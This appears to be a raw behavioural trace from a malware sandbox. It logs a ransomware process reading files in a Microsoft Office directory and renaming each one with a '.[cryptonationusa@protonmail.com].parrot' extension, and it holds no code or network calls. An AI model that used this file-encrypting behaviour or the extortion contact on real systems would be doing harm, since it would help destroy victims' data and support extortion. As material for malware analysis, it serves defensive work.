lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42ea, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x42ea, lpOverlapped=0x0) returned 1 [0177.634] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.640] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.641] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.642] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.642] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1983, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1983, lpOverlapped=0x0) returned 1 [0177.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.658] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.658] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.659] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.660] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a71, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2a71, lpOverlapped=0x0) returned 1 [0177.660] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.666] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.680] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.680] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f61, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3f61, lpOverlapped=0x0) returned 1 [0177.681] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.687] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.688] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.689] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.689] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x326c, lpOverlapped=0x0) returned 1 [0177.690] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.696] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.696] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.697] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.697] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2072, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2072, lpOverlapped=0x0) returned 1 [0177.698] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.704] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.705] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.705] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20f0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20f0, lpOverlapped=0x0) returned 1 [0177.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.711] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.711] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.712] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.712] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10a3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10a3, lpOverlapped=0x0) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.718] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.718] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.719] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1444, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1444, lpOverlapped=0x0) returned 1 [0177.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.726] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.727] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.728] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.728] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc49, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc49, lpOverlapped=0x0) returned 1 [0177.728] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.734] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.734] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.735] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.735] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x154f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x154f, lpOverlapped=0x0) returned 1 [0177.736] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.741] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.741] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.742] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.742] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x905a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x905a, lpOverlapped=0x0) returned 1 [0177.743] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.748] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.748] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.750] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.750] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b6e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3b6e, lpOverlapped=0x0) returned 1 [0177.751] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.756] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.757] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.758] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.758] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9eb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9eb1, lpOverlapped=0x0) returned 1 [0177.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.768] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.769] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.770] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a34, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5a34, lpOverlapped=0x0) returned 1 [0177.771] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.777] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.777] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.780] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.780] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa9f0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa9f0, lpOverlapped=0x0) returned 1 [0177.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.788] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.801] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.803] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.803] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4660, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4660, lpOverlapped=0x0) returned 1 [0177.805] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.059] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.059] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.061] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.061] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x875e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x875e, lpOverlapped=0x0) returned 1 [0178.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif.[cryptonationusa@protonmail.com].parrot"), 